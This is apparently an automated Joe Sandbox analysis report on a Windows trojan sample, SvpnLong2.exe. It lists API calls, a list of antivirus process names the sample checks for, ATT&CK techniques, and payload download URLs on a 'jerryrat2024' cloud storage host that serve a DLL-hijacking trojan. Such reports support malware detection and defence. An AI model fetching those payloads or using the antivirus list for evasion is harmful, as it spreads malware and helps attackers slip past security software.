Source: C:\ProgramData\tusyk\arphaCrashReport64.exe	Last function: Thread delayed
Source: C:\ProgramData\tusyk\arphaCrashReport64.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\SvpnLong2.exe	Code function: 0_2_0184EF20 FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,RemoveDirectoryW,	0_2_0184EF20
Source: C:\ProgramData\tusyk\arphaCrashReport64.exe	Code function: 4_2_000002830042EF20 FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,RemoveDirectoryW,	4_2_000002830042EF20
Source: C:\ProgramData\tusyk\arphaCrashReport64.exe	Code function: 4_2_00007FF700F38F78 _invalid_parameter_noinfo,FindFirstFileExW,FindNextFileW,FindClose,FindClose,FindClose,	4_2_00007FF700F38F78
Source: C:\ProgramData\tusyk\arphaCrashReport64.exe	Code function: 5_2_0000016AA3D9EF20 FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,RemoveDirectoryW,	5_2_0000016AA3D9EF20

Source: SvpnLong2.exe, 00000000.00000003.2734932479.00000000009D8000.00000004.00000020.00020000.00000000.sdmp, SvpnLong2.exe, 00000000.00000002.2925767158.000000000097D000.00000004.00000020.00020000.00000000.sdmp, SvpnLong2.exe, 00000000.00000002.2926063558.00000000009D9000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: arphaCrashReport64.exe, 00000004.00000002.2926964022.000002837E6BC000.00000004.00000020.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000005.00000002.2926222476.0000016AA1E6A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Users\user\Desktop\SvpnLong2.exe	API call chain: ExitProcess graph end node	graph_0-25961
Source: C:\ProgramData\tusyk\arphaCrashReport64.exe	API call chain: ExitProcess graph end node
Source: C:\ProgramData\tusyk\arphaCrashReport64.exe	API call chain: ExitProcess graph end node
Source: C:\ProgramData\tusyk\arphaCrashReport64.exe	API call chain: ExitProcess graph end node

Source: C:\Users\user\Desktop\SvpnLong2.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\SvpnLong2.exe

Code function: 0_2_01550020 NtAllocateVirtualMemory,LdrLoadDll,

0_2_01550020

Source: C:\Users\user\Desktop\SvpnLong2.exe

Code function: 0_2_01855518 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

0_2_01855518

Source: C:\ProgramData\tusyk\arphaCrashReport64.exe

Code function: 4_2_00007FF700F2D1E8 GetLastError,IsDebuggerPresent,OutputDebugStringW,

4_2_00007FF700F2D1E8

Source: C:\Users\user\Desktop\SvpnLong2.exe

Code function: 0_2_01843560 lstrcat,GetComputerNameA,GetCurrentProcessId,LoadLibraryA,GetProcAddress,GetUserNameA,CreateToolhelp32Snapshot,lstrlen,_localtime64,wsprintfA,GetModuleFileNameA,

0_2_01843560

Source: C:\Users\user\Desktop\SvpnLong2.exe

0_2_01844530

Source: C:\Users\user\Desktop\SvpnLong2.exe

Code function: 0_2_01852020 free,VirtualFree,GetProcessHeap,HeapFree,

0_2_01852020

Source: C:\Users\user\Desktop\SvpnLong2.exe	Code function: 0_2_01855518 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_01855518
Source: C:\Users\user\Desktop\SvpnLong2.exe	Code function: 0_2_01854565 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_01854565
Source: C:\Users\user\Desktop\SvpnLong2.exe	Code function: 0_2_01852C00 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_01852C00
Source: C:\Users\user\Desktop\SvpnLong2.exe	Code function: 0_2_00007FF741113EF0 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_00007FF741113EF0
Source: C:\Users\user\Desktop\SvpnLong2.exe	Code function: 0_2_00007FF7411115D0 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_00007FF7411115D0
Source: C:\ProgramData\tusyk\arphaCrashReport64.exe	Code function: 4_2_0000028300432C00 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	4_2_0000028300432C00
Source: C:\ProgramData\tusyk\arphaCrashReport64.exe	Code function: 4_2_0000028300435518 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	4_2_0000028300435518
Source: C:\ProgramData\tusyk\arphaCrashReport64.exe	Code function: 4_2_0000028300434565 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	4_2_0000028300434565
Source: C:\ProgramData\tusyk\arphaCrashReport64.exe	Code function: 4_2_00007FF700F321D8 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	4_2_00007FF700F321D8
Source: C:\ProgramData\tusyk\arphaCrashReport64.exe	Code function: 4_2_00007FF700F2E440 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	4_2_00007FF700F2E440
Source: C:\ProgramData\tusyk\arphaCrashReport64.exe	Code function: 4_2_00007FF700F2ED0C IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	4_2_00007FF700F2ED0C
Source: C:\ProgramData\tusyk\arphaCrashReport64.exe	Code function: 4_2_00007FF700F2EEF4 SetUnhandledExceptionFilter,	4_2_00007FF700F2EEF4
Source: C:\ProgramData\tusyk\arphaCrashReport64.exe	Code function: 4_2_00007FFDFB8B233C RtlCaptureContext,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	4_2_00007FFDFB8B233C
Source: C:\ProgramData\tusyk\arphaCrashReport64.exe	Code function: 4_2_00007FFDFB8B69DC RtlCaptureContext,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	4_2_00007FFDFB8B69DC
Source: C:\ProgramData\tusyk\arphaCrashReport64.exe	Code function: 4_2_00007FFDFB8B15B0 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	4_2_00007FFDFB8B15B0
Source: C:\ProgramData\tusyk\arphaCrashReport64.exe	Code function: 5_2_0000016AA3DA4565 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	5_2_0000016AA3DA4565
Source: C:\ProgramData\tusyk\arphaCrashReport64.exe	Code function: 5_2_0000016AA3DA5518 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	5_2_0000016AA3DA5518
Source: C:\ProgramData\tusyk\arphaCrashReport64.exe	Code function: 5_2_0000016AA3DA2C00 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	5_2_0000016AA3DA2C00

Source: C:\Users\user\Desktop\SvpnLong2.exe

Code function: 0_3_000000018000A760 cpuid

0_3_000000018000A760

Source: C:\Users\user\Desktop\SvpnLong2.exe	Code function: EnumSystemLocalesA,	0_2_0185D1F8
Source: C:\Users\user\Desktop\SvpnLong2.exe	Code function: _getptd,GetLocaleInfoA,GetLocaleInfoW,	0_2_0185D0C8
Source: C:\Users\user\Desktop\SvpnLong2.exe	Code function: EnumSystemLocalesA,	0_2_0185D290
Source: C:\Users\user\Desktop\SvpnLong2.exe	Code function: _getptd,GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoW,	0_2_0185CDF8
Source: C:\Users\user\Desktop\SvpnLong2.exe	Code function: GetLocaleInfoW,	0_2_0185CD68
Source: C:\Users\user\Desktop\SvpnLong2.exe	Code function: _getptd,GetLocaleInfoA,	0_2_0185CC80
Source: C:\Users\user\Desktop\SvpnLong2.exe	Code function: GetLastError,free,free,GetLocaleInfoW,GetLocaleInfoW,free,GetLocaleInfoW,	0_2_01859FFC
Source: C:\Users\user\Desktop\SvpnLong2.exe	Code function: GetLocaleInfoW,malloc,GetLocaleInfoW,WideCharToMultiByte,free,	0_2_0185E600
Source: C:\ProgramData\tusyk\arphaCrashReport64.exe	Code function: EnumSystemLocalesA,	4_2_000002830043D290
Source: C:\ProgramData\tusyk\arphaCrashReport64.exe	Code function: _getptd,GetLocaleInfoA,	4_2_000002830043CC80
Source: C:\ProgramData\tusyk\arphaCrashReport64.exe	Code function: GetLocaleInfoW,	4_2_000002830043CD68
Source: C:\ProgramData\tusyk\arphaCrashReport64.exe	Code function: _getptd,GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoW,	4_2_000002830043CDF8
Source: C:\ProgramData\tusyk\arphaCrashReport64.exe	Code function: GetLocaleInfoW,malloc,GetLocaleInfoW,WideCharToMultiByte,free,	4_2_000002830043E600
Source: C:\ProgramData\tusyk\arphaCrashReport64.exe	Code function: GetLastError,free,free,GetLocaleInfoW,GetLocaleInfoW,free,GetLocaleInfoW,	4_2_0000028300439FFC
Source: C:\ProgramData\tusyk\arphaCrashReport64.exe	Code function: _getptd,GetLocaleInfoA,GetLocaleInfoW,	4_2_000002830043D0C8
Source: C:\ProgramData\tusyk\arphaCrashReport64.exe	Code function: EnumSystemLocalesA,	4_2_000002830043D1F8
Source: C:\ProgramData\tusyk\arphaCrashReport64.exe	Code function: GetLocaleInfoA,	4_2_00007FFDFB8B6D80
Source: C:\ProgramData\tusyk\arphaCrashReport64.exe	Code function: GetLastError,free,free,GetLocaleInfoW,GetLocaleInfoW,free,GetLocaleInfoW,	5_2_0000016AA3DA9FFC
Source: C:\ProgramData\tusyk\arphaCrashReport64.exe	Code function: GetLocaleInfoW,malloc,GetLocaleInfoW,WideCharToMultiByte,free,	5_2_0000016AA3DAE600
Source: C:\ProgramData\tusyk\arphaCrashReport64.exe	Code function: _getptd,GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoW,	5_2_0000016AA3DACDF8
Source: C:\ProgramData\tusyk\arphaCrashReport64.exe	Code function: GetLocaleInfoW,	5_2_0000016AA3DACD68
Source: C:\ProgramData\tusyk\arphaCrashReport64.exe	Code function: _getptd,GetLocaleInfoA,	5_2_0000016AA3DACC80
Source: C:\ProgramData\tusyk\arphaCrashReport64.exe	Code function: EnumSystemLocalesA,	5_2_0000016AA3DAD290
Source: C:\ProgramData\tusyk\arphaCrashReport64.exe	Code function: EnumSystemLocalesA,	5_2_0000016AA3DAD1F8
Source: C:\ProgramData\tusyk\arphaCrashReport64.exe	Code function: _getptd,GetLocaleInfoA,GetLocaleInfoW,	5_2_0000016AA3DAD0C8

Source: C:\Users\user\Desktop\SvpnLong2.exe

Code function: 0_2_018538A4 GetSystemTimeAsFileTime,

0_2_018538A4

Source: C:\Users\user\Desktop\SvpnLong2.exe

Code function: 0_2_01843560 lstrcat,GetComputerNameA,GetCurrentProcessId,LoadLibraryA,GetProcAddress,GetUserNameA,CreateToolhelp32Snapshot,lstrlen,_localtime64,wsprintfA,GetModuleFileNameA,

0_2_01843560

Source: C:\Users\user\Desktop\SvpnLong2.exe

Code function: 0_2_018574B8 _lock,_get_daylight,_get_daylight,_get_daylight,___lc_codepage_func,free,free,GetTimeZoneInformation,WideCharToMultiByte,WideCharToMultiByte,

0_2_018574B8

Source: C:\Users\user\Desktop\SvpnLong2.exe

Code function: 0_2_018583F4 HeapCreate,GetVersion,HeapSetInformation,

0_2_018583F4

Source: C:\Users\user\Desktop\SvpnLong2.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: arphaCrashReport64.exe, arphaCrashReport64.exe, 00000005.00000002.2926801710.0000016AA3DB8000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000005.00000002.2926538506.0000016AA3AA0000.00000040.00001000.00020000.00000000.sdmp	Binary or memory string: bdagent.exe
Source: arphaCrashReport64.exe, arphaCrashReport64.exe, 00000005.00000002.2926801710.0000016AA3DB8000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000005.00000002.2926538506.0000016AA3AA0000.00000040.00001000.00020000.00000000.sdmp	Binary or memory string: kxetray.exe
Source: arphaCrashReport64.exe, arphaCrashReport64.exe, 00000005.00000002.2926801710.0000016AA3DB8000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000005.00000002.2926538506.0000016AA3AA0000.00000040.00001000.00020000.00000000.sdmp	Binary or memory string: avp.exe
Source: arphaCrashReport64.exe, arphaCrashReport64.exe, 00000005.00000002.2926801710.0000016AA3DB8000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000005.00000002.2926538506.0000016AA3AA0000.00000040.00001000.00020000.00000000.sdmp	Binary or memory string: 360tray.exe
Source: arphaCrashReport64.exe, arphaCrashReport64.exe, 00000005.00000002.2926801710.0000016AA3DB8000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000005.00000002.2926538506.0000016AA3AA0000.00000040.00001000.00020000.00000000.sdmp	Binary or memory string: avgnt.exe
Source: arphaCrashReport64.exe, arphaCrashReport64.exe, 00000005.00000002.2926801710.0000016AA3DB8000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000005.00000002.2926538506.0000016AA3AA0000.00000040.00001000.00020000.00000000.sdmp	Binary or memory string: MsMpEng.exe

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	1 Valid Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	2 Obfuscated Files or Information	121 Input Capture	2 System Time Discovery	Remote Services	1 Archive Collected Data	2 Ingress Tool Transfer	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	12 Service Execution	1 Valid Accounts	1 Valid Accounts	1 Software Packing	LSASS Memory	1 Account Discovery	Remote Desktop Protocol	121 Input Capture	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	12 Windows Service	1 Access Token Manipulation	1 DLL Side-Loading	Security Account Manager	1 File and Directory Discovery	SMB/Windows Admin Shares	3 Clipboard Data	11 Non-Standard Port	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	1 Registry Run Keys / Startup Folder	12 Windows Service	1 Valid Accounts	NTDS	24 System Information Discovery	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	1 Process Injection	1 Virtualization/Sandbox Evasion	LSA Secrets	151 Security Software Discovery	SSH	Keylogging	3 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	1 Registry Run Keys / Startup Folder	1 Access Token Manipulation	Cached Domain Credentials	1 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Process Injection	DCSync	2 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	Indicator Removal from Tools	Proc Filesystem	1 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	HTML Smuggling	/etc/passwd and /etc/shadow	1 System Owner/User Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
SvpnLong2.exe	11%	Virustotal		Browse
SvpnLong2.exe	0%	ReversingLabs

Dropped Files

Source	Detection	Scanner	Label	Link
C:\ProgramData\tusyk\arphaCrashReport64.exe	0%	ReversingLabs
C:\ProgramData\tusyk\arphaCrashReport64.exe	0%	Virustotal		Browse
C:\ProgramData\tusyk\arphaDump64.dll	54%	ReversingLabs	Win64.Trojan.DllHijack
C:\ProgramData\tusyk\arphaDump64.dll	47%	Virustotal		Browse

Unpacked PE Files

⊘No Antivirus matches

Domains

⊘No Antivirus matches

URLs

Source	Detection	Scanner	Label	Link
http://crl.thawte.com/ThawteTimestampingCA.crl0	0%	URL Reputation	safe
http://crl.thawte.com/ThawteTimestampingCA.crl0	0%	URL Reputation	safe
http://crl.thawte.com/ThawtePCA.crl0	0%	URL Reputation	safe
http://www.symauth.com/rpa00	0%	URL Reputation	safe
http://www.symauth.com/rpa00	0%	URL Reputation	safe
http://ocsp.thawte.com0	0%	URL Reputation	safe
http://www.symauth.com/cps0(	0%	URL Reputation	safe
https://jerryrat2024.oss-cn-beijing.aliyuncs.com/arphaCrashReport64.exeF=	0%	Avira URL Cloud	safe
http://cacerts.digice	0%	Avira URL Cloud	safe
http://cs-g2-crl.thawte.com/ThawteCSG2.crl0	0%	Avira URL Cloud	safe
https://jerryrat2024.oss-cn-beijing.aliyuncs.com/arphaDump64.dll	0%	Avira URL Cloud	safe
https://jerryrat2024.oss-cn-beijing.aliyuncs.com:443/arphaCrashReport64.exe	0%	Avira URL Cloud	safe
https://jerryrat2024.oss-cn-beijing.aliyuncs.com/arphaCrashReport64.exe	0%	Avira URL Cloud	safe
http://cs-g2-crl.thawte.com/ThawteCSG2.crl0	0%	Virustotal		Browse
https://jerryrat2024.oss-cn-beijing.aliyuncs.com/arphaCrashReport64.exehttps://jerryrat2024.oss-cn-b	0%	Avira URL Cloud	safe
https://jerryrat2024.oss-cn-beijing.aliyuncs.com/arphaDump64.dll	0%	Virustotal		Browse
https://www.virtualbox.org/	0%	Avira URL Cloud	safe
https://jerryrat2024.oss-cn-beijing.aliyuncs.com/	0%	Avira URL Cloud	safe
https://www.virtualbox.org/	0%	Virustotal		Browse
https://jerryrat2024.oss-cn-beijing.aliyuncs.com:443/arphaCrashReport64.exe	0%	Virustotal		Browse
https://jerryrat2024.oss-cn-beijing.aliyuncs.com/arphaCrashReport64.exehttps://jerryrat2024.oss-cn-b	0%	Virustotal		Browse
https://jerryrat2024.oss-cn-beijing.aliyuncs.com:443/arphaDump64.dll	0%	Avira URL Cloud	safe
https://jerryrat2024.oss-cn-beijing.aliyuncs.com/	0%	Virustotal		Browse
https://jerryrat2024.oss-cn-beijing.aliyuncs.com:443/arphaDump64.dll	0%	Virustotal		Browse
https://jerryrat2024.oss-cn-beijing.aliyuncs.com/arphaCrashReport64.exe	0%	Virustotal		Browse

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
jerryrat2024.oss-cn-beijing.aliyuncs.com	39.97.203.118	true	false		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://jerryrat2024.oss-cn-beijing.aliyuncs.com/arphaDump64.dll	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://jerryrat2024.oss-cn-beijing.aliyuncs.com/arphaCrashReport64.exe	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://jerryrat2024.oss-cn-beijing.aliyuncs.com/arphaCrashReport64.exeF=	SvpnLong2.exe, 00000000.00000003.2734932479.00000000009D8000.00000004.00000020.00020000.00000000.sdmp, SvpnLong2.exe, 00000000.00000002.2926063558.00000000009D9000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://cacerts.digice	SvpnLong2.exe, 00000000.00000003.2078448636.0000000000A0C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://cs-g2-crl.thawte.com/ThawteCSG2.crl0	SvpnLong2.exe, 00000000.00000002.2926635512.0000000001550000.00000040.00001000.00020000.00000000.sdmp, SvpnLong2.exe, 00000000.00000002.2926878783.0000000001868000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000004.00000002.2926152879.0000028300130000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000004.00000002.2926476364.0000028300448000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000005.00000002.2926801710.0000016AA3DB8000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000005.00000002.2926538506.0000016AA3AA0000.00000040.00001000.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://crl.thawte.com/ThawteTimestampingCA.crl0	SvpnLong2.exe, 00000000.00000002.2926635512.0000000001550000.00000040.00001000.00020000.00000000.sdmp, SvpnLong2.exe, 00000000.00000002.2926878783.0000000001868000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000004.00000002.2926152879.0000028300130000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000004.00000002.2926476364.0000028300448000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000005.00000002.2926801710.0000016AA3DB8000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000005.00000002.2926538506.0000016AA3AA0000.00000040.00001000.00020000.00000000.sdmp	false	URL Reputation: safe URL Reputation: safe	unknown
http://crl.thawte.com/ThawtePCA.crl0	SvpnLong2.exe, 00000000.00000002.2926635512.0000000001550000.00000040.00001000.00020000.00000000.sdmp, SvpnLong2.exe, 00000000.00000002.2926878783.0000000001868000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000004.00000002.2926152879.0000028300130000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000004.00000002.2926476364.0000028300448000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000005.00000002.2926801710.0000016AA3DB8000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000005.00000002.2926538506.0000016AA3AA0000.00000040.00001000.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://jerryrat2024.oss-cn-beijing.aliyuncs.com:443/arphaCrashReport64.exe	SvpnLong2.exe, 00000000.00000003.2734932479.00000000009D8000.00000004.00000020.00020000.00000000.sdmp, SvpnLong2.exe, 00000000.00000002.2926063558.00000000009D9000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://www.symauth.com/rpa00	SvpnLong2.exe, 00000000.00000002.2926635512.0000000001550000.00000040.00001000.00020000.00000000.sdmp, SvpnLong2.exe, 00000000.00000002.2926878783.0000000001868000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000004.00000002.2926152879.0000028300130000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000004.00000002.2926476364.0000028300448000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000005.00000002.2926801710.0000016AA3DB8000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000005.00000002.2926538506.0000016AA3AA0000.00000040.00001000.00020000.00000000.sdmp	false	URL Reputation: safe URL Reputation: safe	unknown
https://jerryrat2024.oss-cn-beijing.aliyuncs.com/arphaCrashReport64.exehttps://jerryrat2024.oss-cn-b	SvpnLong2.exe, 00000000.00000003.2200973387.0000000003400000.00000004.00001000.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://ocsp.thawte.com0	SvpnLong2.exe, 00000000.00000002.2926635512.0000000001550000.00000040.00001000.00020000.00000000.sdmp, SvpnLong2.exe, 00000000.00000002.2926878783.0000000001868000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000004.00000002.2926152879.0000028300130000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000004.00000002.2926476364.0000028300448000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000005.00000002.2926801710.0000016AA3DB8000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000005.00000002.2926538506.0000016AA3AA0000.00000040.00001000.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.virtualbox.org/	arphaCrashReport64.exe, 00000005.00000002.2926538506.0000016AA3AA0000.00000040.00001000.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://jerryrat2024.oss-cn-beijing.aliyuncs.com/	SvpnLong2.exe, 00000000.00000003.2734932479.00000000009D8000.00000004.00000020.00020000.00000000.sdmp, SvpnLong2.exe, 00000000.00000003.2134713484.0000000000A19000.00000004.00000020.00020000.00000000.sdmp, SvpnLong2.exe, 00000000.00000002.2926063558.00000000009D9000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://www.symauth.com/cps0(	SvpnLong2.exe, 00000000.00000002.2926635512.0000000001550000.00000040.00001000.00020000.00000000.sdmp, SvpnLong2.exe, 00000000.00000002.2926878783.0000000001868000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000004.00000002.2926152879.0000028300130000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000004.00000002.2926476364.0000028300448000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000005.00000002.2926801710.0000016AA3DB8000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000005.00000002.2926538506.0000016AA3AA0000.00000040.00001000.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://jerryrat2024.oss-cn-beijing.aliyuncs.com:443/arphaDump64.dll	SvpnLong2.exe, 00000000.00000003.2734932479.00000000009D8000.00000004.00000020.00020000.00000000.sdmp, SvpnLong2.exe, 00000000.00000002.2926063558.00000000009D9000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
154.82.85.193	unknown	Seychelles	32708	ROOTNETWORKSUS	false
154.82.85.236	unknown	Seychelles	32708	ROOTNETWORKSUS	false
39.97.203.118	jerryrat2024.oss-cn-beijing.aliyuncs.com	China	37963	CNNIC-ALIBABA-CN-NET-APHangzhouAlibabaAdvertisingCoLtd	false

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1483468
Start date and time:	2024-07-27 16:48:10 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 7m 37s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	7
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	SvpnLong2.exe
Detection:	MAL
Classification:	mal76.troj.spyw.evad.winEXE@3/3@1/3
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 81% Number of executed functions: 60 Number of non-executed functions: 212
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing disassembly code.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
